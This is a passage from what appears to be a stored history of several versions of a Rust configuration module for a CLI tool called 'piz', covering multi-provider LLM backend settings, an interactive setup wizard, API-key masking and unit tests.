Mask an API key for display: show first 4 and last 4 chars if long enough\npub fn mask_api_key(key: &str) -> String {\n if key.len() > 8 {\n format!(\"{}...{}\", &key[..4], &key[key.len() - 4..])\n } else {\n \"*\".repeat(key.len())\n }\n}\n\n/// Mask all api_key values in a TOML config string\npub fn mask_config_keys(content: &str) -> String {\n content\n .lines()\n .map(|line| {\n if let Some(idx) = line.find(\"api_key\") {\n if let Some(eq_idx) = line[idx..].find('=') {\n let before = &line[..idx + eq_idx + 1];\n let value_part = line[idx + eq_idx + 1..].trim();\n if value_part.starts_with('\"') && value_part.ends_with('\"') && value_part.len() > 2\n {\n let key = &value_part[1..value_part.len() - 1];\n return format!(\"{} \\\"{}\\\"\", before, mask_api_key(key));\n }\n }\n }\n line.to_string()\n })\n .collect::>()\n .join(\"\\n\")\n}\n\n/// Parse a TOML string into Config (useful for testing)\npub fn parse_config(content: &str) -> Result {\n let config: Config = toml::from_str(content).context(\"Failed to parse config TOML\")?;\n Ok(config)\n}\n\n#[cfg(test)]\nmod tests {\n use super::*;\n\n #[test]\n fn parse_full_config() {\n let toml = r#\"\ndefault_backend = \"claude\"\ncache_ttl_hours = 24\nauto_confirm_safe = true\n\n[openai]\napi_key = \"sk-test\"\nmodel = \"gpt-4\"\nbase_url = \"https://custom.api.com\"\n\n[claude]\napi_key = \"sk-ant-test\"\nmodel = \"claude-sonnet-4-20250514\"\n\n[ollama]\nhost = \"http://localhost:11434\"\nmodel = \"llama3\"\n\"#;\n let cfg = parse_config(toml).unwrap();\n assert_eq!(cfg.default_backend, \"claude\");\n assert_eq!(cfg.cache_ttl_hours, 24);\n assert!(cfg.auto_confirm_safe);\n\n let openai = cfg.openai.unwrap();\n assert_eq!(openai.api_key, \"sk-test\");\n assert_eq!(openai.model, \"gpt-4\");\n assert_eq!(openai.base_url.unwrap(), \"https://custom.api.com\");\n\n let claude = cfg.claude.unwrap();\n assert_eq!(claude.api_key, \"sk-ant-test\");\n\n let ollama = cfg.ollama.unwrap();\n assert_eq!(ollama.host, \"http://localhost:11434\");\n assert_eq!(ollama.model, \"llama3\");\n }\n\n #[test]\n fn parse_minimal_config_uses_defaults() {\n let toml = r#\"\n[openai]\napi_key = \"sk-test\"\n\"#;\n let cfg = parse_config(toml).unwrap();\n assert_eq!(cfg.default_backend, \"openai\");\n assert_eq!(cfg.cache_ttl_hours, 168);\n assert!(!cfg.auto_confirm_safe);\n assert_eq!(cfg.openai.unwrap().model, \"gpt-4o-mini\");\n assert!(cfg.claude.is_none());\n assert!(cfg.ollama.is_none());\n }\n\n #[test]\n fn parse_empty_config_ok() {\n let cfg = parse_config(\"\").unwrap();\n assert_eq!(cfg.default_backend, \"openai\");\n assert!(cfg.openai.is_none());\n }\n\n #[test]\n fn parse_invalid_toml_errors() {\n let result = parse_config(\"this is not [valid toml\");\n assert!(result.is_err());\n }\n\n #[test]\n fn mask_api_key_long() {\n assert_eq!(mask_api_key(\"sk-test-key-123456\"), \"sk-t...3456\");\n }\n\n #[test]\n fn mask_api_key_short() {\n assert_eq!(mask_api_key(\"short\"), \"*****\");\n }\n\n #[test]\n fn mask_api_key_exact_8() {\n assert_eq!(mask_api_key(\"12345678\"), \"********\");\n }\n\n #[test]\n fn mask_config_keys_masks_values() {\n let content = \"[openai]\\napi_key = \\\"sk-test-key-123456\\\"\\nmodel = \\\"gpt-4\\\"\";\n let masked = mask_config_keys(content);\n assert!(masked.contains(\"sk-t...3456\"));\n assert!(!masked.contains(\"sk-test-key-123456\"));\n assert!(masked.contains(\"gpt-4\"));\n }\n\n #[test]\n fn piz_dir_under_home() {\n let dir = piz_dir().unwrap();\n assert!(dir.ends_with(\".piz\"));\n }\n\n #[test]\n fn config_path_is_toml() {\n let path = config_path().unwrap();\n assert_eq!(path.extension().unwrap(), \"toml\");\n assert!(path.ends_with(\"config.toml\"));\n }\n}\n"}, "c661ec4773768ff1a23509412a76e97473ed6275": {"t": 1785760774.7175105, "n": 15437, "h": "8126124ebe211c53", "c": "use anyhow::{Context, Result};\nuse serde::{Deserialize, Serialize};\nuse std::path::PathBuf;\n\nuse crate::i18n::{self, Lang};\n\n#[derive(Debug, Deserialize, Serialize)]\npub struct Config {\n #[serde(default = \"default_backend\")]\n pub default_backend: String,\n #[serde(default = \"default_cache_ttl\")]\n pub cache_ttl_hours: u64,\n #[serde(default)]\n pub auto_confirm_safe: bool,\n #[serde(default = \"default_language\")]\n pub language: String,\n #[serde(default = \"default_chat_history_size\")]\n pub chat_history_size: usize,\n #[serde(default = \"default_cache_max_entries\")]\n pub cache_max_entries: usize,\n pub openai: Option,\n pub claude: Option,\n pub gemini: Option,\n pub ollama: Option,\n}\n\n#[derive(Debug, Deserialize, Serialize, Clone)]\npub struct OpenAiConfig {\n pub api_key: String,\n #[serde(default = \"default_openai_model\")]\n pub model: String,\n pub base_url: Option,\n}\n\n#[derive(Debug, Deserialize, Serialize, Clone)]\npub struct ClaudeConfig {\n pub api_key: String,\n #[serde(default = \"default_claude_model\")]\n pub model: String,\n pub base_url: Option,\n}\n\n#[derive(Debug, Deserialize, Serialize, Clone)]\npub struct GeminiConfig {\n pub api_key: String,\n #[serde(default = \"default_gemini_model\")]\n pub model: String,\n pub base_url: Option,\n}\n\n#[derive(Debug, Deserialize, Serialize, Clone)]\npub struct OllamaConfig {\n #[serde(default = \"default_ollama_host\")]\n pub host: String,\n #[serde(default = \"default_ollama_model\")]\n pub model: String,\n}\n\nfn default_backend() -> String {\n \"openai\".into()\n}\nfn default_cache_ttl() -> u64 {\n 168\n}\nfn default_language() -> String {\n \"zh\".into()\n}\nfn default_openai_model() -> String {\n \"gpt-4o-mini\".into()\n}\nfn default_claude_model() -> String {\n \"claude-sonnet-4-20250514\".into()\n}\nfn default_chat_history_size() -> usize {\n 20\n}\nfn default_cache_max_entries() -> usize {\n 1000\n}\nfn default_gemini_model() -> String {\n \"gemini-2.5-flash\".into()\n}\nfn default_ollama_host() -> String {\n \"http://localhost:11434\".into()\n}\nfn default_ollama_model() -> String {\n \"llama3\".into()\n}\n\npub fn piz_dir() -> Result {\n let home = dirs::home_dir().context(\"Cannot determine home directory\")?;\n Ok(home.join(\".piz\"))\n}\n\npub fn config_path() -> Result {\n Ok(piz_dir()?.join(\"config.toml\"))\n}\n\npub fn load_config() -> Result {\n let path = config_path()?;\n if !path.exists() {\n println!(\"No configuration found. Let's set up piz for the first time.\\n\");\n init_config()?;\n // If init was aborted or config still missing, bail\n if !path.exists() {\n anyhow::bail!(\"Config file not created. Run `piz config --init` to try again.\");\n }\n }\n let content = std::fs::read_to_string(&path)\n .with_context(|| format!(\"Failed to read {}\", path.display()))?;\n let config: Config =\n toml::from_str(&content).with_context(|| format!(\"Failed to parse {}\", path.display()))?;\n Ok(config)\n}\n\npub fn init_config() -> Result<()> {\n let dir = piz_dir()?;\n std::fs::create_dir_all(&dir)?;\n let path = config_path()?;\n\n // Step 0: choose language first (always show trilingual)\n let lang_items = &[\"中文\", \"English\", \"日本語\"];\n let lang_idx = dialoguer::Select::new()\n .with_prompt(\"选择语言 / Select language / 言語を選択\")\n .items(lang_items)\n .default(0)\n .interact()?;\n let lang = match lang_idx {\n 1 => Lang::En,\n 2 => Lang::Ja,\n _ => Lang::Zh,\n };\n let tr = i18n::t(lang);\n\n if path.exists() {\n let overwrite = dialoguer::Confirm::new()\n .with_prompt(format!(\"{} ({})\", tr.config_overwrite, path.display()))\n .default(false)\n .interact()?;\n if !overwrite {\n println!(\"{}\", tr.cancelled);\n return Ok(());\n }\n }\n\n println!();\n println!(\" {}\", tr.wizard_title);\n println!();\n\n // Step 1: choose backend\n let backends = &[\n \"openai (DeepSeek, SiliconFlow, OpenRouter, ...)\",\n \"claude\",\n \"gemini (Google)\",\n \"ollama (local)\",\n ];\n let backend_idx = dialoguer::Select::new()\n .with_prompt(tr.select_backend)\n .items(backends)\n .default(0)\n .interact()?;\n let backend_name = match backend_idx {\n 0 => \"openai\",\n 1 => \"claude\",\n 2 => \"gemini\",\n 3 => \"ollama\",\n _ => \"openai\",\n };\n\n // Step 2: collect backend-specific config\n let mut openai_section = String::new();\n let mut claude_section = String::new();\n let mut gemini_section = String::new();\n let mut ollama_section = String::new();\n\n match backend_name {\n \"openai\" => openai_section = collect_openai_config(tr)?,\n \"claude\" => claude_section = collect_claude_config(tr)?,\n \"gemini\" => gemini_section = collect_gemini_config(tr)?,\n \"ollama\" => ollama_section = collect_ollama_config(tr)?,\n _ => {}\n }\n\n // Step 3: auto_confirm\n let auto_confirm = dialoguer::Confirm::new()\n .with_prompt(tr.auto_confirm_prompt)\n .default(true)\n .interact()?;\n\n // Step 4: additional backends\n let extra = dialoguer::Confirm::new()\n .with_prompt(tr.extra_backends)\n .default(false)\n .interact()?;\n\n if extra {\n if backend_name != \"openai\"\n && openai_section.is_empty()\n && dialoguer::Confirm::new()\n .with_prompt(tr.add_openai)\n .default(false)\n .interact()?\n {\n openai_section = collect_openai_config(tr)?;\n }\n if backend_name != \"claude\"\n && claude_section.is_empty()\n && dialoguer::Confirm::new()\n .with_prompt(tr.add_claude)\n .default(false)\n .interact()?\n {\n claude_section = collect_claude_config(tr)?;\n }\n if backend_name != \"gemini\"\n && gemini_section.is_empty()\n && dialoguer::Confirm::new()\n .with_prompt(tr.add_gemini)\n .default(false)\n .interact()?\n {\n gemini_section = collect_gemini_config(tr)?;\n }\n if backend_name != \"ollama\"\n && ollama_section.is_empty()\n && dialoguer::Confirm::new()\n .with_prompt(tr.add_ollama)\n .default(false)\n .interact()?\n {\n ollama_section = collect_ollama_config(tr)?;\n }\n }\n\n // Assemble config\n let mut content = format!(\n \"default_backend = \\\"{backend}\\\"\\n\\\n cache_ttl_hours = 168\\n\\\n auto_confirm_safe = {auto_confirm}\\n\\\n language = \\\"{lang}\\\"\\n\",\n backend = backend_name,\n auto_confirm = auto_confirm,\n lang = lang.code(),\n );\n\n if !openai_section.is_empty() {\n content.push_str(&format!(\"\\n{}\", openai_section));\n }\n if !claude_section.is_empty() {\n content.push_str(&format!(\"\\n{}\", claude_section));\n }\n if !gemini_section.is_empty() {\n content.push_str(&format!(\"\\n{}\", gemini_section));\n }\n if !ollama_section.is_empty() {\n content.push_str(&format!(\"\\n{}\", ollama_section));\n }\n\n std::fs::write(&path, &content)?;\n\n println!();\n println!(\" {} {}\", tr.config_saved, path.display());\n println!();\n\n match parse_config(&content) {\n Ok(_) => println!(\" {}\", tr.config_validated),\n Err(e) => println!(\" ⚠ {}\", e),\n }\n\n println!();\n println!(\" {} {}\", tr.config_edit_hint, path.display());\n println!(\" {}\", tr.config_rerun_hint);\n println!();\n Ok(())\n}\n\nfn collect_openai_config(tr: &i18n::T) -> Result {\n println!();\n println!(\" -- OpenAI-compatible --\");\n\n let presets = &[\n \"OpenAI (api.openai.com)\",\n \"DeepSeek (api.deepseek.com)\",\n \"SiliconFlow (api.siliconflow.cn)\",\n \"OpenRouter (openrouter.ai)\",\n \"Moonshot / Kimi (api.moonshot.cn)\",\n \"Zhipu / GLM (open.bigmodel.cn)\",\n \"Qianfan / Baidu (qianfan.baidubce.com)\",\n \"DashScope / Alibaba (dashscope.aliyuncs.com)\",\n \"Mistral (api.mistral.ai)\",\n \"Together (api.together.xyz)\",\n \"Minimax (api.minimax.io)\",\n \"BytePlus / Volcengine (byteplus)\",\n \"Custom URL\",\n ];\n let preset_idx = dialoguer::Select::new()\n .with_prompt(tr.select_provider)\n .items(presets)\n .default(0)\n .interact()?;\n\n let (default_url, default_model) = match preset_idx {\n 0 => (\"https://api.openai.com\", \"gpt-4o-mini\"),\n 1 => (\"https://api.deepseek.com\", \"deepseek-chat\"),\n 2 => (\"https://api.siliconflow.cn\", \"Qwen/Qwen3-8B\"),\n 3 => (\"https://openrouter.ai/api/v1\", \"auto\"),\n 4 => (\"https://api.moonshot.cn\", \"moonshot-v1-8k\"),\n 5 => (\"https://open.bigmodel.cn/api/paas/v4\", \"glm-4-flash\"),\n 6 => (\"https://qianfan.baidubce.com/v2\", \"deepseek-v3\"),\n 7 => (\n \"https://dashscope.aliyuncs.com/compatible-mode/v1\",\n \"qwen-plus\",\n ),\n 8 => (\"https://api.mistral.ai/v1\", \"mistral-small-latest\"),\n 9 => (\n \"https://api.together.xyz/v1\",\n \"meta-llama/Meta-Llama-3-8B-Instruct\",\n ),\n 10 => (\"https://api.minimax.io/v1\", \"MiniMax-M1\"),\n 11 => (\n \"https://api.byteplus.volcengineapi.com/v1\",\n \"doubao-1.5-pro-32k\",\n ),\n _ => (\"\", \"\"),\n };\n\n let base_url: String = dialoguer::Input::new()\n .with_prompt(format!(\" {}\", tr.base_url_prompt))\n .with_initial_text(default_url)\n .interact_text()?;\n\n let api_key: String = dialoguer::Input::new()\n .with_prompt(format!(\" {}\", tr.api_key_prompt))\n .interact_text()?;\n\n if api_key.is_empty() {\n anyhow::bail!(\"API key cannot be empty\");\n }\n\n let model: String = dialoguer::Input::new()\n .with_prompt(format!(\" {}\", tr.model_prompt))\n .with_initial_text(default_model)\n .interact_text()?;\n\n let mut section = format!(\n \"[openai]\\napi_key = {}\\nmodel = {}\\n\",\n toml_escape(&api_key),\n toml_escape(&model)\n );\n if !base_url.is_empty() && base_url != \"https://api.openai.com\" {\n section.push_str(&format!(\"base_url = {}\\n\", toml_escape(&base_url)));\n }\n\n Ok(section)\n}\n\nfn collect_claude_config(tr: &i18n::T) -> Result {\n println!();\n println!(\" -- Claude --\");\n\n let api_key: String = dialoguer::Input::new()\n .with_prompt(format!(\" {}\", tr.api_key_prompt))\n .interact_text()?;\n\n if api_key.is_empty() {\n anyhow::bail!(\"API key cannot be empty\");\n }\n\n let model: String = dialoguer::Input::new()\n .with_prompt(format!(\" {}\", tr.model_prompt))\n .with_initial_text(\"claude-sonnet-4-20250514\")\n .interact_text()?;\n\n let use_custom_url = dialoguer::Confirm::new()\n .with_prompt(tr.custom_url_prompt)\n .default(false)\n .interact()?;\n\n let mut section = format!(\n \"[claude]\\napi_key = {}\\nmodel = {}\\n\",\n toml_escape(&api_key),\n toml_escape(&model)\n );\n\n if use_custom_url {\n let base_url: String = dialoguer::Input::new()\n .with_prompt(format!(\" {}\", tr.base_url_prompt))\n .with_initial_text(\"https://api.anthropic.com\")\n .interact_text()?;\n section.push_str(&format!(\"base_url = {}\\n\", toml_escape(&base_url)));\n }\n\n Ok(section)\n}\n\nfn collect_gemini_config(tr: &i18n::T) -> Result {\n println!();\n println!(\" -- Google Gemini --\");\n\n let api_key: String = dialoguer::Input::new()\n .with_prompt(format!(\" {}\", tr.api_key_prompt))\n .interact_text()?;\n\n if api_key.is_empty() {\n anyhow::bail!(\"API key cannot be empty\");\n }\n\n let model: String = dialoguer::Input::new()\n .with_prompt(format!(\" {}\", tr.model_prompt))\n .with_initial_text(\"gemini-2.5-flash\")\n .interact_text()?;\n\n Ok(format!(\n \"[gemini]\\napi_key = {}\\nmodel = {}\\n\",\n toml_escape(&api_key),\n toml_escape(&model)\n ))\n}\n\nfn collect_ollama_config(tr: &i18n::T) -> Result {\n println!();\n println!(\" -- Ollama (local) --\");\n\n let host: String = dialoguer::Input::new()\n .with_prompt(format!(\" {}\", tr.ollama_host))\n .with_initial_text(\"http://localhost:11434\")\n .interact_text()?;\n\n let model: String = dialoguer::Input::new()\n .with_prompt(format!(\" {}\", tr.model_prompt))\n .with_initial_text(\"llama3\")\n .interact_text()?;\n\n Ok(format!(\n \"[ollama]\\nhost = {}\\nmodel = {}\\n\",\n toml_escape(&host),\n toml_escape(&model)\n ))\n}\n\n/// Escape a string value for TOML output (handles quotes, backslashes, etc.)\nfn toml_escape(s: &str) -> String {\n let value = toml::Value::String(s.to_string());\n value.to_string()\n}\n\n/// Parse a TOML string into Config (useful for testing)\npub fn parse_config(content: &str) -> Result {\n let config: Config = toml::from_str(content).context(\"Failed to parse config TOML\")?;\n Ok(config)\n}\n\n#[cfg(test)]\nmod tests {\n use super::*;\n\n #[test]\n fn parse_full_config() {\n let toml = r#\"\ndefault_backend = \"claude\"\ncache_ttl_hours = 24\nauto_confirm_safe = true\n\n[openai]\napi_key = \"sk-test\"\nmodel = \"gpt-4\"\nbase_url = \"https://custom.api.com\"\n\n[claude]\napi_key = \"sk-ant-test\"\nmodel = \"claude-sonnet-4-20250514\"\n\n[ollama]\nhost = \"http://localhost:11434\"\nmodel = \"llama3\"\n\"#;\n let cfg = parse_config(toml).unwrap();\n assert_eq!(cfg.default_backend, \"claude\");\n assert_eq!(cfg.cache_ttl_hours, 24);\n assert!(cfg.auto_confirm_safe);\n\n let openai = cfg.openai.unwrap();\n assert_eq!(openai.api_key, \"sk-test\");\n assert_eq!(openai.model, \"gpt-4\");\n assert_eq!(openai.base_url.unwrap(), \"https://custom.api.com\");\n\n let claude = cfg.claude.unwrap();\n assert_eq!(claude.api_key, \"sk-ant-test\");\n\n let ollama = cfg.ollama.unwrap();\n assert_eq!(ollama.host, \"http://localhost:11434\");\n assert_eq!(ollama.model, \"llama3\");\n }\n\n #[test]\n fn parse_minimal_config_uses_defaults() {\n let toml = r#\"\n[openai]\napi_key = \"sk-test\"\n\"#;\n let cfg = parse_config(toml).unwrap();\n assert_eq!(cfg.default_backend, \"openai\");\n assert_eq!(cfg.cache_ttl_hours, 168);\n assert!(!cfg.auto_confirm_safe);\n assert_eq!(cfg.openai.unwrap().model, \"gpt-4o-mini\");\n assert!(cfg.claude.is_none());\n assert!(cfg.ollama.is_none());\n }\n\n #[test]\n fn parse_empty_config_ok() {\n let cfg = parse_config(\"\").unwrap();\n assert_eq!(cfg.default_backend, \"openai\");\n assert!(cfg.openai.is_none());\n }\n\n #[test]\n fn parse_invalid_toml_errors() {\n let result = parse_config(\"this is not [valid toml\");\n assert!(result.is_err());\n }\n\n #[test]\n fn piz_dir_under_home() {\n let dir = piz_dir().unwrap();\n assert!(dir.ends_with(\".piz\"));\n }\n\n #[test]\n fn config_path_is_toml() {\n let path = config_path().unwrap();\n assert_eq!(path.extension().unwrap(), \"toml\");\n assert!(path.ends_with(\"config.toml\"));\n }\n}\n"}, "388379de47893be285fc5542500a018381b0312e": {"t": 1785760776.7771695, "n": 15298, "h": "b2763216f663c4ef", "c": "use anyhow::{Context, Result};\nuse serde::{Deserialize, Serialize};\nuse std::path::PathBuf;\n\nuse crate::i18n::{self, Lang};\n\n#[derive(Debug, Deserialize, Serialize)]\npub struct Config {\n #[serde(default = \"default_backend\")]\n pub default_backend: String,\n #[serde(default = \"default_cache_ttl\")]\n pub cache_ttl_hours: u64,\n #[serde(default)]\n pub auto_confirm_safe: bool,\n #[serde(default = \"default_language\")]\n pub language: String,\n #[serde(default = \"default_chat_history_size\")]\n pub chat_history_size: usize,\n pub openai: Option,\n pub claude: Option,\n pub gemini: Option,\n pub ollama: Option,\n}\n\n#[derive(Debug, Deserialize, Serialize, Clone)]\npub struct OpenAiConfig {\n pub api_key: String,\n #[serde(default = \"default_openai_model\")]\n pub model: String,\n pub base_url: Option,\n}\n\n#[derive(Debug, Deserialize, Serialize, Clone)]\npub struct ClaudeConfig {\n pub api_key: String,\n #[serde(default = \"default_claude_model\")]\n pub model: String,\n pub base_url: Option,\n}\n\n#[derive(Debug, Deserialize, Serialize, Clone)]\npub struct GeminiConfig {\n pub api_key: String,\n #[serde(default = \"default_gemini_model\")]\n pub model: String,\n pub base_url: Option,\n}\n\n#[derive(Debug, Deserialize, Serialize, Clone)]\npub struct OllamaConfig {\n #[serde(default = \"default_ollama_host\")]\n pub host: String,\n #[serde(default = \"default_ollama_model\")]\n pub model: String,\n}\n\nfn default_backend() -> String {\n \"openai\".into()\n}\nfn default_cache_ttl() -> u64 {\n 168\n}\nfn default_language() -> String {\n \"zh\".into()\n}\nfn default_openai_model() -> String {\n \"gpt-4o-mini\".into()\n}\nfn default_claude_model() -> String {\n \"claude-sonnet-4-20250514\".into()\n}\nfn default_chat_history_size() -> usize {\n 20\n}\nfn default_gemini_model() -> String {\n \"gemini-2.5-flash\".into()\n}\nfn default_ollama_host() -> String {\n \"http://localhost:11434\".into()\n}\nfn default_ollama_model() -> String {\n \"llama3\".into()\n}\n\npub fn piz_dir() -> Result {\n let home = dirs::home_dir().context(\"Cannot determine home directory\")?;\n Ok(home.join(\".piz\"))\n}\n\npub fn config_path() -> Result {\n Ok(piz_dir()?.join(\"config.toml\"))\n}\n\npub fn load_config() -> Result {\n let path = config_path()?;\n if !path.exists() {\n println!(\"No configuration found. Let's set up piz for the first time.\\n\");\n init_config()?;\n // If init was aborted or config still missing, bail\n if !path.exists() {\n anyhow::bail!(\"Config file not created. Run `piz config --init` to try again.\");\n }\n }\n let content = std::fs::read_to_string(&path)\n .with_context(|| format!(\"Failed to read {}\", path.display()))?;\n let config: Config =\n toml::from_str(&content).with_context(|| format!(\"Failed to parse {}\", path.display()))?;\n Ok(config)\n}\n\npub fn init_config() -> Result<()> {\n let dir = piz_dir()?;\n std::fs::create_dir_all(&dir)?;\n let path = config_path()?;\n\n // Step 0: choose language first (always show trilingual)\n let lang_items = &[\"中文\", \"English\", \"日本語\"];\n let lang_idx = dialoguer::Select::new()\n .with_prompt(\"选择语言 / Select language / 言語を選択\")\n .items(lang_items)\n .default(0)\n .interact()?;\n let lang = match lang_idx {\n 1 => Lang::En,\n 2 => Lang::Ja,\n _ => Lang::Zh,\n };\n let tr = i18n::t(lang);\n\n if path.exists() {\n let overwrite = dialoguer::Confirm::new()\n .with_prompt(format!(\"{} ({})\", tr.config_overwrite, path.display()))\n .default(false)\n .interact()?;\n if !overwrite {\n println!(\"{}\", tr.cancelled);\n return Ok(());\n }\n }\n\n println!();\n println!(\" {}\", tr.wizard_title);\n println!();\n\n // Step 1: choose backend\n let backends = &[\n \"openai (DeepSeek, SiliconFlow, OpenRouter, ...)\",\n \"claude\",\n \"gemini (Google)\",\n \"ollama (local)\",\n ];\n let backend_idx = dialoguer::Select::new()\n .with_prompt(tr.select_backend)\n .items(backends)\n .default(0)\n .interact()?;\n let backend_name = match backend_idx {\n 0 => \"openai\",\n 1 => \"claude\",\n 2 => \"gemini\",\n 3 => \"ollama\",\n _ => \"openai\",\n };\n\n // Step 2: collect backend-specific config\n let mut openai_section = String::new();\n let mut claude_section = String::new();\n let mut gemini_section = String::new();\n let mut ollama_section = String::new();\n\n match backend_name {\n \"openai\" => openai_section = collect_openai_config(tr)?,\n \"claude\" => claude_section = collect_claude_config(tr)?,\n \"gemini\" => gemini_section = collect_gemini_config(tr)?,\n \"ollama\" => ollama_section = collect_ollama_config(tr)?,\n _ => {}\n }\n\n // Step 3: auto_confirm\n let auto_confirm = dialoguer::Confirm::new()\n .with_prompt(tr.auto_confirm_prompt)\n .default(true)\n .interact()?;\n\n // Step 4: additional backends\n let extra = dialoguer::Confirm::new()\n .with_prompt(tr.extra_backends)\n .default(false)\n .interact()?;\n\n if extra {\n if backend_name != \"openai\"\n && openai_section.is_empty()\n && dialoguer::Confirm::new()\n .with_prompt(tr.add_openai)\n .default(false)\n .interact()?\n {\n openai_section = collect_openai_config(tr)?;\n }\n if backend_name != \"claude\"\n && claude_section.is_empty()\n && dialoguer::Confirm::new()\n .with_prompt(tr.add_claude)\n .default(false)\n .interact()?\n {\n claude_section = collect_claude_config(tr)?;\n }\n if backend_name != \"gemini\"\n && gemini_section.is_empty()\n && dialoguer::Confirm::new()\n .with_prompt(tr.add_gemini)\n .default(false)\n .interact()?\n {\n gemini_section = collect_gemini_config(tr)?;\n }\n if backend_name != \"ollama\"\n && ollama_section.is_empty()\n && dialoguer::Confirm::new()\n .with_prompt(tr.add_ollama)\n .default(false)\n .interact()?\n {\n ollama_section = collect_ollama_config(tr)?;\n }\n }\n\n // Assemble config\n let mut content = format!(\n \"default_backend = \\\"{backend}\\\"\\n\\\n cache_ttl_hours = 168\\n\\\n auto_confirm_safe = {auto_confirm}\\n\\\n language = \\\"{lang}\\\"\\n\",\n backend = backend_name,\n auto_confirm = auto_confirm,\n lang = lang.code(),\n );\n\n if !openai_section.is_empty() {\n content.push_str(&format!(\"\\n{}\", openai_section));\n }\n if !claude_section.is_empty() {\n content.push_str(&format!(\"\\n{}\", claude_section));\n }\n if !gemini_section.is_empty() {\n content.push_str(&format!(\"\\n{}\", gemini_section));\n }\n if !ollama_section.is_empty() {\n content.push_str(&format!(\"\\n{}\", ollama_section));\n }\n\n std::fs::write(&path, &content)?;\n\n println!();\n println!(\" {} {}\", tr.config_saved, path.display());\n println!();\n\n match parse_config(&content) {\n Ok(_) => println!(\" {}\", tr.config_validated),\n Err(e) => println!(\" ⚠ {}\", e),\n }\n\n println!();\n println!(\" {} {}\", tr.config_edit_hint, path.display());\n println!(\" {}\", tr.config_rerun_hint);\n println!();\n Ok(())\n}\n\nfn collect_openai_config(tr: &i18n::T) -> Result {\n println!();\n println!(\" -- OpenAI-compatible --\");\n\n let presets = &[\n \"OpenAI (api.openai.com)\",\n \"DeepSeek (api.deepseek.com)\",\n \"SiliconFlow (api.siliconflow.cn)\",\n \"OpenRouter (openrouter.ai)\",\n \"Moonshot / Kimi (api.moonshot.cn)\",\n \"Zhipu / GLM (open.bigmodel.cn)\",\n \"Qianfan / Baidu (qianfan.baidubce.com)\",\n \"DashScope / Alibaba (dashscope.aliyuncs.com)\",\n \"Mistral (api.mistral.ai)\",\n \"Together (api.together.xyz)\",\n \"Minimax (api.minimax.io)\",\n \"BytePlus / Volcengine (byteplus)\",\n \"Custom URL\",\n ];\n let preset_idx = dialoguer::Select::new()\n .with_prompt(tr.select_provider)\n .items(presets)\n .default(0)\n .interact()?;\n\n let (default_url, default_model) = match preset_idx {\n 0 => (\"https://api.openai.com\", \"gpt-4o-mini\"),\n 1 => (\"https://api.deepseek.com\", \"deepseek-chat\"),\n 2 => (\"https://api.siliconflow.cn\", \"Qwen/Qwen3-8B\"),\n 3 => (\"https://openrouter.ai/api/v1\", \"auto\"),\n 4 => (\"https://api.moonshot.cn\", \"moonshot-v1-8k\"),\n 5 => (\"https://open.bigmodel.cn/api/paas/v4\", \"glm-4-flash\"),\n 6 => (\"https://qianfan.baidubce.com/v2\", \"deepseek-v3\"),\n 7 => (\n \"https://dashscope.aliyuncs.com/compatible-mode/v1\",\n \"qwen-plus\",\n ),\n 8 => (\"https://api.mistral.ai/v1\", \"mistral-small-latest\"),\n 9 => (\n \"https://api.together.xyz/v1\",\n \"meta-llama/Meta-Llama-3-8B-Instruct\",\n ),\n 10 => (\"https://api.minimax.io/v1\", \"MiniMax-M1\"),\n 11 => (\n \"https://api.byteplus.volcengineapi.com/v1\",\n \"doubao-1.5-pro-32k\",\n ),\n _ => (\"\", \"\"),\n };\n\n let base_url: String = dialoguer::Input::new()\n .with_prompt(format!(\" {}\", tr.base_url_prompt))\n .with_initial_text(default_url)\n .interact_text()?;\n\n let api_key: String = dialoguer::Input::new()\n .with_prompt(format!(\" {}\", tr.api_key_prompt))\n .interact_text()?;\n\n if api_key.is_empty() {\n anyhow::bail!(\"API key cannot be empty\");\n }\n\n let model: String = dialoguer::Input::new()\n .with_prompt(format!(\" {}\", tr.model_prompt))\n .with_initial_text(default_model)\n .interact_text()?;\n\n let mut section = format!(\n \"[openai]\\napi_key = {}\\nmodel = {}\\n\",\n toml_escape(&api_key),\n toml_escape(&model)\n );\n if !base_url.is_empty() && base_url != \"https://api.openai.com\" {\n section.push_str(&format!(\"base_url = {}\\n\", toml_escape(&base_url)));\n }\n\n Ok(section)\n}\n\nfn collect_claude_config(tr: &i18n::T) -> Result {\n println!();\n println!(\" -- Claude --\");\n\n let api_key: String = dialoguer::Input::new()\n .with_prompt(format!(\" {}\", tr.api_key_prompt))\n .interact_text()?;\n\n if api_key.is_empty() {\n anyhow::bail!(\"API key cannot be empty\");\n }\n\n let model: String = dialoguer::Input::new()\n .with_prompt(format!(\" {}\", tr.model_prompt))\n .with_initial_text(\"claude-sonnet-4-20250514\")\n .interact_text()?;\n\n let use_custom_url = dialoguer::Confirm::new()\n .with_prompt(tr.custom_url_prompt)\n .default(false)\n .interact()?;\n\n let mut section = format!(\n \"[claude]\\napi_key = {}\\nmodel = {}\\n\",\n toml_escape(&api_key),\n toml_escape(&model)\n );\n\n if use_custom_url {\n let base_url: String = dialoguer::Input::new()\n .with_prompt(format!(\" {}\", tr.base_url_prompt))\n .with_initial_text(\"https://api.anthropic.com\")\n .interact_text()?;\n section.push_str(&format!(\"base_url = {}\\n\", toml_escape(&base_url)));\n }\n\n Ok(section)\n}\n\nfn collect_gemini_config(tr: &i18n::T) -> Result {\n println!();\n println!(\" -- Google Gemini --\");\n\n let api_key: String = dialoguer::Input::new()\n .with_prompt(format!(\" {}\", tr.api_key_prompt))\n .interact_text()?;\n\n if api_key.is_empty() {\n anyhow::bail!(\"API key cannot be empty\");\n }\n\n let model: String = dialoguer::Input::new()\n .with_prompt(format!(\" {}\", tr.model_prompt))\n .with_initial_text(\"gemini-2.5-flash\")\n .interact_text()?;\n\n Ok(format!(\n \"[gemini]\\napi_key = {}\\nmodel = {}\\n\",\n toml_escape(&api_key),\n toml_escape(&model)\n ))\n}\n\nfn collect_ollama_config(tr: &i18n::T) -> Result {\n println!();\n println!(\" -- Ollama (local) --\");\n\n let host: String = dialoguer::Input::new()\n .with_prompt(format!(\" {}\", tr.ollama_host))\n .with_initial_text(\"http://localhost:11434\")\n .interact_text()?;\n\n let model: String = dialoguer::Input::new()\n .with_prompt(format!(\" {}\", tr.model_prompt))\n .with_initial_text(\"llama3\")\n .interact_text()?;\n\n Ok(format!(\n \"[ollama]\\nhost = {}\\nmodel = {}\\n\",\n toml_escape(&host),\n toml_escape(&model)\n ))\n}\n\n/// Escape a string value for TOML output (handles quotes, backslashes, etc.)\nfn toml_escape(s: &str) -> String {\n let value = toml::Value::String(s.to_string());\n value.to_string()\n}\n\n/// Parse a 